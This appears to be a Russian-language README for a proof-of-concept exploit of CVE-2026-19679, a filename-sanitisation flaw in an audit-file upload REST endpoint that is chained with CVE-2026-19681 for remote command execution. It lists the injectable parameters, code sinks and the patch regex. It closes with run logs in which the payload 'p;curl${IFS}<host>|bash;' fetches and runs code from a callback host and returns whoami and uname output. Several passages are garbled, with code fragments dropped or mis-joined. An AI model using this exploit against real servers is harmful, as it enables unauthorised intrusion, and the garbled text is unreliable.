
PoC-эксплойт для CVE-2026-19679 — уязвимости недостаточной санитизации имени файла при загрузке файлов аудита, приводящей к внедрению команд. Включает дифференциальный зонд определения версии и режим exec для удалённого выполнения команд.

Статус: ПОДТВЕРЖДЕНО в лаборатории 6.7.2-14.el9 (2026-08-20). POST /rest/auditFile с
tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" вернул HTTP 200 и
зарегистрировал AuditFile #1000002 — имя файла с метасимволами оболочки прошло проверку и
было сохранено на всём пути обработки. На 6.9.0 тот же запрос отклоняется с
"Invalid tailoring filename.".
Параметры загрузки файла аудита (filename, tailoringFilename,
tailoringOriginalFilename) проверяются с помощью
(), который проверяет только три вещи: непустое значение, отсутствие
(совпадение с ), и что временный файл существует. — , , обратные кавычки, и пробелы проходят без изменений.
PARAM_FILENAMEUtility::validateParams()/basename();$()${IFS}Эти имена затем попадают в:
rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") —
AuditFileLib.php:2307 (создаётся файл с произвольными метасимволами в имени)exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc"), где неэкранированный $tmpZipFile формируется из клиентского
параметра filename — последующая командная инъекция из CVE-2026-19681.Граница, подтверждённая в лаборатории: обход каталогов не является частью уязвимости до версии 6.9 — оба
параметра настройки отклоняют / (ошибка 146 Invalid syntax for attribute ... для полезной нагрузки ../).
Недостающее звено — именно фильтр набора символов; именно это имеется в виду в тексте CVE под
фразой «может способствовать последующей командной инъекции».
AuditFiles::applySCAPTailoringFile():
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
плюс basename() для обоих имён и escapeshellarg() для операндов zip.
Дифференциальная проверка версий — один запрос, противоположные результаты в зависимости от версии:
./poc.py --target https://sc.lab --username analyst --password 'pass'
"Invalid tailoring filename."Практические замечания (все подтверждены в лаборатории):
/rest/file/upload (multipart Filedata, поле формы context)context=auditFile выполняется
определение содержимого zip (ошибка 107 для фиктивного zip)type=scapLinux|scapWindows, version=1.2, benchmarkName,
dataStreamName19679 — это пробел в валидации; 19681 — это sink для exec. Один и тот же поток загрузки задействует
обе: 19681 помещает метасимволы в промежуточное имя filename (через префикс context
при загрузке) и передаёт их через неэкранированный $tmpZipFile; 19679 показывает, что
родственные параметры принимают тот же класс символов вплоть до (и внутри) той же командной
строки. 6.9.0 исправляет обе стороны в рамках одного коммита: charset + basename + escapeshellarg.
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux